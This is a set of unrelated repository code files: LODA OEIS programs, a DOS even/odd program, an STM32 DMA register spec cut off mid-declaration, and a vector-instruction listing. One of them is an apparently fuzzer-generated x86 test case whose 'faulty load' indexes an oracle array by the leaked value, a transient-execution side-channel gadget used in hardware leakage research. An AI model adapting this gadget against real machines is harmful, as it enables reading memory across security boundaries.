0x00000000, 0x00000000, 0x00000000] 01ff: | 11 | v21 = [0x00000001, 0x00000001, 0x00000001, 0x00000001, 0x00000001, 0x00000001, 0x00000001, 0x00000001] 0221: | 11 | v22 = [0x00000002, 0x00000002, 0x00000002, 0x00000002, 0x00000002, 0x00000002, 0x00000002, 0x00000002] 0243: | 11 | v23 = [0x00000003, 0x00000003, 0x00000003, 0x00000003, 0x00000003, 0x00000003, 0x00000003, 0x00000003] 0265: | 11 | v24 = [0x00000004, 0x00000004, 0x00000004, 0x00000004, 0x00000004, 0x00000004, 0x00000004, 0x00000004] 0287: | 11 | v25 = [0x00000005, 0x00000005, 0x00000005, 0x00000005, 0x00000005, 0x00000005, 0x00000005, 0x00000005] 02a9: | 11 | v26 = [0x00000006, 0x00000006, 0x00000006, 0x00000006, 0x00000006, 0x00000006, 0x00000006, 0x00000006] 02cb: | 11 | v27 = [0x00000007, 0x00000007, 0x00000007, 0x00000007, 0x00000007, 0x00000007, 0x00000007, 0x00000007] 02ed: | 15 | v20 = vpermd(v0, v20) 02f1: | 15 | v21 = vpermd(v0, v21) 02f5: | 15 | v22 = vpermd(v0, v22) 02f9: | 15 | v23 = vpermd(v0, v23) 02fd: | 15 | v24 = vpermd(v0, v24) 0301: | 15 | v25 = vpermd(v0, v25) 0305: | 15 | v26 = vpermd(v0, v26) 0309: | 15 | v27 = vpermd(v0, v27) 030d: | 12 | v7 = vpsrld(v1, 4) 0311: | 03 | v28 = vpxor(v20, v21) 0315: | 03 | v28 = vpxor(v28, v22) 0319: | 03 | v28 = vpxor(v28, v23) 031d: | 03 | v28 = vpxor(v28, v24) 0321: | 03 | v28 = vpxor(v28, v25) 0325: | 03 | v28 = vpxor(v28, v26) 0329: | 03 | v28 = vpxor(v28, v27) 032d: | 05 | v7 = vpand(7, v6) 0331: | 13 | v29 = vpslld(v17, 7) 0335: | 12 | v30 = vpsrld(v17, 25) 0339: | 04 | v15 = vpor(v29, v30) 033d: | 16 | v8 = vpcmpeqb(v1, v6) 0341: | 13 | v29 = vpslld(v17, 21) 0345: | 12 | v30 = vpsrld(v17, 11) 0349: | 04 | v29 = vpor(v29, v30) 034d: | 03 | v15 = vpxor(v15, v29) 0351: | 16 | v8 = vpcmpeqb(v1, v6) 0355: | 13 | v29 = vpslld(v17, 26) 0359: | 12 | v30 = vpsrld(v17, 6) 035d: | 04 | v29 = vpor(v29, v30) 0361: | 03 | v15 = vpxor(v15, v29) 0365: | 03 | v29 = vpxor(v20, v16) 0369: | 05 | v30 = vpand(20, v18) 036d: | 03 | v29 = vpxor(v29, v30) 0371: | 0b | v15 = vpaddd(v29, v15) 0375: | 0b | v20 = vpaddd(v15, v0) 0379: | 07 | v7 = vpaddb(v8, v7) 037d: | 03 | v29 = vpxor(v20, v28) 0381: | 15 | v17 = vpermd(v29, v19) 0385: | 14 | v7 = vpshufb(v5, v7) 0389: | 13 | v29 = vpslld(v17, 7) 038d: | 12 | v30 = vpsrld(v17, 25) 0391: | 04 | v15 = vpor(v29, v30) 0395: | 13 | v29 = vpslld(v17, 21) 0399: | 12 | v30 = vpsrld(v17, 11) 039d: | 04 | v29 = vpor(v29, v30) 03a1: | 03 | v15 = vpxor(v15, v29) 03a5: | 13 | v29 = vpslld(v17, 26) 03a9: | 12 | v30 = vpsrld(v17, 6) 03ad: | 04 | v29 = vpor(v29, v30) 03b1: | 03 | v15 = vpxor(v15, v29) 03b5: | 07 | v2 = vpaddb(v1, v7) 03b9: | 03 | v29 = vpxor(v21, v16) 03bd: | 05 | v30 = vpand(21, v18) 03c1: | 03 | v29 = vpxor(v29, v30) 03c5: | 0b | v15 = vpaddd(v29, v15) 03c9: | 0b | v21 = vpaddd(v15, v0) 03cd: | 03 | v29 = vpxor(v21, v28) 03d1: | 15 | v17 = vpermd(v29, v19) 03d5: | 03 | v20 = vpxor(v20, v21) 03d9: | 13 | v29 = vpslld(v17, 7) 03dd: | 12 | v30 = vpsrld(v17, 25) 03e1: | 04 | v15 = vpor(v29, v30) 03e5: | 13 | v29 = vpslld(v17, 21) 03e9: | 12 | v30 = vpsrld(v17, 11) 03ed: | 04 | v29 = vpor(v29, v30) 03f1: | 03 | v15 = vpxor(v15, v29) 03f5: | 13 | v29 = vpslld(v17, 26) 03f9: | 12 | v30 = vpsrld(v17, 6) 03fd: | 04 | v29 = vpor(v29, v30) 0401: | 03 | v15 = vpxor(v15, v29) 0405: | 01 | v7 = vpmaddubsw(v2, v10) 0409: | 03 | v29 = vpxor(v22, v16) 040d: | 05 | v30 = vpand(22, v18) 0411: | 03 | v29 = vpxor(v29, v30) 0415: | 0b | v15 = vpaddd(v29, v15) 0419: | 0b | v22 = vpaddd(v15, v0) 041d: | 03 | v29 = vpxor(v22, v28) 0421: | 15 | v17 = vpermd(v29, v19) 0425: | 03 | v20 = vpxor(v20, v22) 0429: | 13 | v29 = vpslld(v17, 7) 042d: | 12 | v30 = vpsrld(v17, 25) 0431: | 04 | v15 = vpor(v29, v30) 0435: | 13 | v29 = vpslld(v17, 21) 0439: | 12 | v30 = vpsrld(v17, 11) 043d: | 04 | v29 = vpor(v29, v30) 0441: | 03 | v15 = vpxor(v15, v29) 0445: | 13 | v29 = vpslld(v17, 26) 0449: | 12 | v30 = vpsrld(v17, 6) 044d: | 04 | v29 = vpor(v29, v30) 0451: | 03 | v15 = vpxor(v15, v29) 0455: | 02 | v2 = vpmaddwd(v7, v11) 0459: | 03 | v29 = vpxor(v23, v16) 045d: | 05 | v30 = vpand(23, v18) 0461: | 03 | v29 = vpxor(v29, v30) 0465: | 0b | v15 = vpaddd(v29, v15) 0469: | 0b | v23 = vpaddd(v15, v0) 046d: | 03 | v29 = vpxor(v23, v28) 0471: | 15 | v17 = vpermd(v29, v19) 0475: | 03 | v20 = vpxor(v20, v23) 0479: | 13 | v29 = vpslld(v17, 7) 047d: | 12 | v30 = vpsrld(v17, 25) 0481: | 04 | v15 = vpor(v29, v30) 0485: | 13 | v29 = vpslld(v17, 21) 0489: | 12 | v30 = vpsrld(v17, 11) 048d: | 04 | v29 = vpor(v29, v30) 0491: | 03 | v15 = vpxor(v15, v29) 0495: | 13 | v29 = vpslld(v17, 26) 0499: | 12 | v30 = vpsrld(v17, 6) 049d: | 04 | v29 = vpor(v29, v30) 04a1: | 03 | v15 = vpxor(v15, v29) 04a5: | 03 | v29 = vpxor(v24, v16) 04a9: | 05 | v30 = vpand(24, v18) 04ad: | 03 | v29 = vpxor(v29, v30) 04b1: | 0b | v15 = vpaddd(v29, v15) 04b5: | 0b | v24 = vpaddd(v15, v0) 04b9: | 03 | v29 = vpxor(v24, v28) 04bd: | 15 | v17 = vpermd(v29, v19) 04c1: | 03 | v20 = vpxor(v20, v24) 04c5: | 13 | v29 = vpslld(v17, 7) 04c9: | 12 | v30 = vpsrld(v17, 25) 04cd: | 04 | v15 = vpor(v29, v30) 04d1: | 13 | v29 = vpslld(v17, 21) 04d5: | 12 | v30 = vpsrld(v17, 11) 04d9: | 04 | v29 = vpor(v29, v30) 04dd: | 03 | v15 = vpxor(v15, v29) 04e1: | 13 | v29 = vpslld(v17, 26) 04e5: | 12 | v30 = vpsrld(v17, 6) 04e9: | 04 | v29 = vpor(v29, v30) 04ed: | 03 | v15 = vpxor(v15, v29) 04f1: | 03 | v29 = vpxor(v25, v16) 04f5: | 05 | v30 = vpand(25, v18) 04f9: | 03 | v29 = vpxor(v29, v30) 04fd: | 0b | v15 = vpaddd(v29, v15) 0501: | 0b | v25 = vpaddd(v15, v0) 0505: | 03 | v29 = vpxor(v25, v28) 0509: | 15 | v17 = vpermd(v29, v19) 050d: | 03 | v20 = vpxor(v20, v25) 0511: | 14 | v2 = vpshufb(v2, v12) 0515: | 13 | v29 = vpslld(v17, 7) 0519: | 12 | v30 = vpsrld(v17, 25) 051d: | 04 | v15 = vpor(v29, v30) 0521: | 13 | v29 = vpslld(v17, 21) 0525: | 12 | v30 = vpsrld(v17, 11) 0529: | 04 | v29 = vpor(v29, v30) 052d: | 03 | v15 = vpxor(v15, v29) 0531: | 13 | v29 = vpslld(v17, 26) 0535: | 12 | v30 = vpsrld(v17, 6) 0539: | 04 | v29 = vpor(v29, v30) 053d: | 03 | v15 = vpxor(v15, v29) 0541: | 03 | v29 = vpxor(v26, v16) 0545: | 05 | v30 = vpand(26, v18) 0549: | 03 | v29 = vpxor(v29, v30) 054d: | 0b | v15 = vpaddd(v29, v15) 0551: | 0b | v26 = vpaddd(v15, v0) 0555: | 03 | v29 = vpxor(v26, v28) 0559: | 15 | v17 = vpermd(v29, v19) 055d: | 03 | v20 = vpxor(v20, v26) 0561: | 13 | v29 = vpslld(v17, 7) 0565: | 12 | v30 = vpsrld(v17, 25) 0569: | 04 | v15 = vpor(v29, v30) 056d: | 13 | v29 = vpslld(v17, 21) 0571: | 12 | v30 = vpsrld(v17, 11) 0575: | 04 | v29 = vpor(v29, v30) 0579: | 03 | v15 = vpxor(v15, v29) 057d: | 13 | v29 = vpslld(v17, 26) 0581: | 12 | v30 = vpsrld(v17, 6) 0585: | 04 | v29 = vpor(v29, v30) 0589: | 03 | v15 = vpxor(v15, v29) 058d: | 15 | v2 = vpermd(v2, v13) 0591: | 03 | v29 = vpxor(v27, v16) 0595: | 05 | v30 = vpand(27, v18) 0599: | 03 | v29 = vpxor(v29, v30) 059d: | 0b | v15 = vpaddd(v29, v15) 05a1: | 0b | v27 = vpaddd(v15, v0) 05a5: | 03 | v29 = vpxor(v27, v28) 05a9: | 15 | v17 = vpermd(v29, v19) 05ad: | 03 | v20 = vpxor(v20, v27) 05b1: | 11 | v19 = [0x00000000, 0x00000000, 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff] 05d3: | 05 | v20 = vpand(20, v19) 05d7: | 11 | v31 = [0x2176620c, 0x3a5c0f29, 0x0b583618, 0x734f0710, 0x2e332623, 0x780e5915, 0x0c05172d, 0x4b1b1e22] 05f9: | ff | ret 05fa: | 00 | clearmemory
programs/oeis/172/A172165.asm
neoneye/loda
22
241890
<filename>programs/oeis/172/A172165.asm ; A172165: A simple sequence a(n) = n + n^(n-1). ; 2,4,12,68,630,7782,117656,2097160,43046730,1000000010,25937424612,743008370700,23298085122494,793714773254158,29192926025390640,1152921504606846992,48661191875666868498,2185911559738696531986,104127350297911241532860,5242880000000000000000020,278218429446951548637196422,15519448971100888972574851094,907846434775996175406740561352,55572324035428505185378394701848,3552713678800500929355621337890650,236773830007967588876795164938469402 mov $2,1 add $2,$0 pow $2,$0 add $0,$2 add $0,1
programs/oeis/246/A246425.asm
karttu/loda
1
5787
; A246425: In the Collatz 3x+1 problem: start at an odd number 2n+1 and find the next odd number 2m+1 in the trajectory; then a(n) = m-n. ; 0,1,-2,2,-1,3,-4,4,-2,5,-10,6,-3,7,-9,8,-4,9,-15,10,-5,11,-14,12,-6,13,-24,14,-7,15,-19,16,-8,17,-28,18,-9,19,-24,20,-10,21,-42,22,-11,23,-29,24,-12,25,-41,26,-13,27,-34,28,-14,29,-53,30,-15,31,-39,32,-16,33,-54,34,-17,35,-44,36,-18,37,-71,38,-19,39,-49,40,-20,41,-67,42,-21,43,-54,44,-22,45,-82,46,-23,47,-59,48,-24,49,-80,50,-25,51,-64,52,-26,53,-104,54,-27,55,-69,56,-28,57,-93,58,-29,59,-74,60,-30,61,-111,62,-31,63,-79,64,-32,65,-106,66,-33,67,-84,68,-34,69,-132,70,-35,71,-89,72,-36,73,-119,74,-37,75,-94,76,-38,77,-140,78,-39,79,-99,80,-40,81,-132,82,-41,83,-104,84,-42,85,-170,86,-43,87,-109,88,-44,89,-145,90,-45,91,-114,92,-46,93,-169,94,-47,95,-119,96,-48,97,-158,98,-49,99,-124,100,-50,101,-193,102,-51,103,-129,104,-52,105,-171,106,-53,107,-134,108,-54,109,-198,110,-55,111,-139,112,-56,113,-184,114,-57,115,-144,116,-58,117,-229,118,-59,119,-149,120,-60,121,-197,122,-61,123,-154,124,-62,125 mov $2,$0 cal $0,173732 ; a(n) = (A016957(n)/2^A007814(A016957(n)) - 1)/2, with A016957(n) = 6*n+4 and A007814(n) the 2-adic valuation of n. sub $0,$2 mov $1,$0
L2_EVEN_ODD.asm
TashinAhmed/ASSEMBLY-LANGUAGE
0
242925
<reponame>TashinAhmed/ASSEMBLY-LANGUAGE ; AUTHOR : <NAME> ; DATE & TIME : 02/11/2017 12:29 AM .MODEL SMALL .STACK 100H .DATA ODD DB 'ITS ODD$' EVEN DB 'ITS EVEN$' NEWLINE DB 0AH,0DH,'$' .CODE MAIN PROC MOV AX, @DATA MOV DS, AX INPUT: MOV AH,1 INT 21H MOV CH,AL ;DEC POINT STORED AT CH ADD CH,48 MOV AH,1 INT 21H MOV CL,AL ;SIN POINT STORED AT CL ADD CL,48 LEA DX,NEWLINE MOV AH,9 INT 21H MOV AH,0 MOV DX,0 CALC: MOV AL,CL MOV BL,2 DIV BL ;REM->AH QUO->AL CMP AH,1 JE _ODD _EVEN: LEA DX,EVEN MOV AH,9 INT 21H JMP EXIT _ODD: LEA DX,ODD MOV AH,9 INT 21H EXIT: MOV AH,4CH INT 21H MAIN ENDP END MAIN
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_229.asm
ljhsiun2/medusa
9
14349
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r14 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0xadac, %rsi lea addresses_normal_ht+0x1d66e, %rdi nop and %r12, %r12 mov $102, %rcx rep movsb nop nop add %rcx, %rcx lea addresses_UC_ht+0x1a0f6, %r14 add $61120, %r11 mov $0x6162636465666768, %rdx movq %rdx, (%r14) nop add $42137, %rdx lea addresses_WT_ht+0x15fc4, %rsi lea addresses_A_ht+0x7a0c, %rdi clflush (%rdi) xor %rdx, %rdx mov $89, %rcx rep movsl nop nop nop nop nop add $59699, %r12 lea addresses_A_ht+0x80e7, %r11 nop nop dec %r14 movl $0x61626364, (%r11) nop nop cmp %rdi, %rdi lea addresses_WT_ht+0xddac, %rsi lea addresses_D_ht+0xb1ac, %rdi nop nop nop nop nop sub $46686, %rax mov $2, %rcx rep movsq nop nop nop nop nop sub %rsi, %rsi lea addresses_D_ht+0x3fac, %rax clflush (%rax) nop nop nop nop inc %rdx movl $0x61626364, (%rax) nop nop nop nop nop sub %rax, %rax lea addresses_WC_ht+0x5dac, %rdi nop nop nop xor %rsi, %rsi mov (%rdi), %r14d nop nop nop inc %rax lea addresses_WC_ht+0x165ac, %rsi lea addresses_normal_ht+0xd1ac, %rdi nop add $23568, %rdx mov $98, %rcx rep movsb nop nop and %r14, %r14 lea addresses_WC_ht+0x5dc, %rdi nop nop nop dec %rdx mov (%rdi), %esi nop xor %rax, %rax lea addresses_A_ht+0xb1ac, %rsi xor %r11, %r11 mov (%rsi), %r12 nop nop nop and %r14, %r14 lea addresses_UC_ht+0x893c, %rsi lea addresses_WT_ht+0xe97a, %rdi nop nop nop nop nop and %r14, %r14 mov $51, %rcx rep movsq nop and $65114, %rdx lea addresses_WT_ht+0x125ac, %rsi lea addresses_UC_ht+0x1b7ac, %rdi sub $58389, %rax mov $77, %rcx rep movsb nop nop nop nop nop add $64302, %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r14 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %r8 push %rcx push %rdi push %rsi // REPMOV lea addresses_D+0xc1ac, %rsi lea addresses_D+0xc1ac, %rdi nop cmp %r11, %r11 mov $79, %rcx rep movsq nop nop nop cmp %r11, %r11 // Store lea addresses_D+0x5ac, %rcx nop nop dec %r12 movw $0x5152, (%rcx) nop nop nop add $5412, %r11 // Store lea addresses_PSE+0x1cdac, %r12 inc %rcx movb $0x51, (%r12) sub %r11, %r11 // Faulty Load lea addresses_D+0xc1ac, %r8 dec %rcx mov (%r8), %r15d lea oracles, %r12 and $0xff, %r15 shlq $12, %r15 mov (%r12,%r15,1), %r15 pop %rsi pop %rdi pop %rcx pop %r8 pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 0, 'type': 'addresses_D'}, 'dst': {'same': True, 'congruent': 0, 'type': 'addresses_D'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
arch/ARM/STM32/svd/stm32f103/stm32_svd-dma.ads
morbos/Ada_Drivers_Library
2
10699
-- This spec has been automatically generated from STM32F103.svd pragma Restrictions (No_Elaboration_Code); pragma Ada_2012; pragma Style_Checks (Off); with HAL; with System; package STM32_SVD.DMA is pragma Preelaborate; --------------- -- Registers -- --------------- -- DMA interrupt status register (DMA_ISR) type ISR_Register is record -- Read-only. Channel 1 Global interrupt flag GIF1 : Boolean; -- Read-only. Channel 1 Transfer Complete flag TCIF1 : Boolean; -- Read-only. Channel 1 Half Transfer Complete flag HTIF1 : Boolean; -- Read-only. Channel 1 Transfer Error flag TEIF1 : Boolean; -- Read-only. Channel 2 Global interrupt flag GIF2 : Boolean; -- Read-only. Channel 2 Transfer Complete flag TCIF2 : Boolean; -- Read-only. Channel 2 Half Transfer Complete flag HTIF2 : Boolean; -- Read-only. Channel 2 Transfer Error flag TEIF2 : Boolean; -- Read-only. Channel 3 Global interrupt flag GIF3 : Boolean; -- Read-only. Channel 3 Transfer Complete flag TCIF3 : Boolean; -- Read-only. Channel 3 Half Transfer Complete flag HTIF3 : Boolean; -- Read-only. Channel 3 Transfer Error flag TEIF3 : Boolean; -- Read-only. Channel 4 Global interrupt flag GIF4 : Boolean; -- Read-only. Channel 4 Transfer Complete flag TCIF4 : Boolean; -- Read-only. Channel 4 Half Transfer Complete flag HTIF4 : Boolean; -- Read-only. Channel 4 Transfer Error flag TEIF4 : Boolean; -- Read-only. Channel 5 Global interrupt flag GIF5 : Boolean; -- Read-only. Channel 5 Transfer Complete flag TCIF5 : Boolean; -- Read-only. Channel 5 Half Transfer Complete flag HTIF5 : Boolean; -- Read-only. Channel 5 Transfer Error flag TEIF5 : Boolean; -- Read-only. Channel 6 Global interrupt flag GIF6 : Boolean; -- Read-only. Channel 6 Transfer Complete flag TCIF6 : Boolean; -- Read-only. Channel 6 Half Transfer Complete flag HTIF6 : Boolean; -- Read-only. Channel 6 Transfer Error flag TEIF6 : Boolean; -- Read-only. Channel 7 Global interrupt flag GIF7 : Boolean; -- Read-only. Channel 7 Transfer Complete flag TCIF7 : Boolean; -- Read-only. Channel 7 Half Transfer Complete flag HTIF7 : Boolean; -- Read-only. Channel 7 Transfer Error flag TEIF7 : Boolean; -- unspecified Reserved_28_31 : HAL.UInt4; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for ISR_Register use record GIF1 at 0 range 0 .. 0; TCIF1 at 0 range 1 .. 1; HTIF1 at 0 range 2 .. 2; TEIF1 at 0 range 3 .. 3; GIF2 at 0 range 4 .. 4; TCIF2 at 0 range 5 .. 5; HTIF2 at 0 range 6 .. 6; TEIF2 at 0 range 7 .. 7; GIF3 at 0 range 8 .. 8; TCIF3 at 0 range 9 .. 9; HTIF3 at 0 range 10 .. 10; TEIF3 at 0 range 11 .. 11; GIF4 at 0 range 12 .. 12; TCIF4 at 0 range 13 .. 13; HTIF4 at 0 range 14 .. 14; TEIF4 at 0 range 15 .. 15; GIF5 at 0 range 16 .. 16; TCIF5 at 0 range 17 .. 17; HTIF5 at 0 range 18 .. 18; TEIF5 at 0 range 19 .. 19; GIF6 at 0 range 20 .. 20; TCIF6 at 0 range 21 .. 21; HTIF6 at 0 range 22 .. 22; TEIF6 at 0 range 23 .. 23; GIF7 at 0 range 24 .. 24; TCIF7 at 0 range 25 .. 25; HTIF7 at 0 range 26 .. 26; TEIF7 at 0 range 27 .. 27; Reserved_28_31 at 0 range 28 .. 31; end record; -- DMA interrupt flag clear register (DMA_IFCR) type IFCR_Register is record -- Write-only. Channel 1 Global interrupt clear CGIF1 : Boolean := False; -- Write-only. Channel 1 Transfer Complete clear CTCIF1 : Boolean := False; -- Write-only. Channel 1 Half Transfer clear CHTIF1 : Boolean := False; -- Write-only. Channel 1 Transfer Error clear CTEIF1 : Boolean := False; -- Write-only. Channel 2 Global interrupt clear CGIF2 : Boolean := False; -- Write-only. Channel 2 Transfer Complete clear CTCIF2 : Boolean := False; -- Write-only. Channel 2 Half Transfer clear CHTIF2 : Boolean := False; -- Write-only. Channel 2 Transfer Error clear CTEIF2 : Boolean := False; -- Write-only. Channel 3 Global interrupt clear CGIF3 : Boolean := False; -- Write-only. Channel 3 Transfer Complete clear CTCIF3 : Boolean := False; -- Write-only. Channel 3 Half Transfer clear CHTIF3 : Boolean := False; -- Write-only. Channel 3 Transfer Error clear CTEIF3 : Boolean := False; -- Write-only. Channel 4 Global interrupt clear CGIF4 : Boolean := False; -- Write-only. Channel 4 Transfer Complete clear CTCIF4 : Boolean := False; -- Write-only. Channel 4 Half Transfer clear CHTIF4 : Boolean := False; -- Write-only. Channel 4 Transfer Error clear CTEIF4 : Boolean := False; -- Write-only. Channel 5 Global interrupt clear CGIF5 : Boolean := False; -- Write-only. Channel 5 Transfer Complete clear CTCIF5 : Boolean := False; -- Write-only. Channel 5 Half Transfer clear CHTIF5 : Boolean := False; -- Write-only. Channel 5 Transfer Error clear CTEIF5 : Boolean := False; -- Write-only. Channel 6 Global interrupt clear CGIF6 : Boolean := False; -- Write-only. Channel 6 Transfer Complete clear CTCIF6 : Boolean := False; -- Write-only. Channel 6 Half Transfer clear CHTIF6 : Boolean := False; -- Write-only. Channel 6 Transfer Error clear CTEIF6 : Boolean := False; -- Write-only. Channel 7 Global interrupt clear CGIF7 : Boolean := False; -- Write-only. Channel 7 Transfer Complete clear CTCIF7 : Boolean := False; -- Write-only. Channel 7 Half Transfer clear CHTIF7 : Boolean := False; -- Write-only. Channel 7 Transfer Error clear CTEIF7 : Boolean := False; -- unspecified Reserved_28_31 : HAL.UInt4 := 16#0#; end record with Volatile_Full_Access, Size => 32, Bit_Order => System.Low_Order_First; for IFCR_Register use record CGIF1 at 0 range 0 .. 0; CTCIF1 at 0 range 1 .. 1; CHTIF1 at 0 range 2 .. 2; CTEIF1 at 0 range 3 .. 3; CGIF2 at 0 range 4 .. 4; CTCIF2 at 0 range 5 .. 5; CHTIF2 at 0 range 6 .. 6; CTEIF2 at 0 range 7 .. 7; CGIF3 at 0 range 8 .. 8; CTCIF3 at 0 range 9 .. 9; CHTIF3 at 0 range 10 .. 10; CTEIF3 at 0 range 11 .. 11; CGIF4 at 0 range 12 .. 12; CTCIF4 at 0 range 13 .. 13; CHTIF4 at 0 range 14 .. 14; CTEIF4 at 0 range 15 .. 15; CGIF5 at 0 range 16 .. 16; CTCIF5 at 0 range 17 .. 17; CHTIF5 at 0 range 18 .. 18; CTEIF5 at 0 range 19 .. 19; CGIF6 at 0 range 20 .. 20; CTCIF6 at 0 range 21 .. 21; CHTIF6 at 0 range 22 .. 22; CTEIF6 at 0 range 23 .. 23; CGIF7 at 0 range 24 .. 24; CTCIF7 at 0 range 25 .. 25; CHTIF7 at 0 range 26 .. 26; CTEIF7 at 0 range 27 .. 27; Reserved_28_31 at 0 range 28 .. 31; end record; subtype CCR_PSIZE_Field is HAL.UInt2; subtype CCR_MSIZE_Field is HAL.UInt2; subtype CCR_PL_Field is HAL.UInt2; -- DMA channel 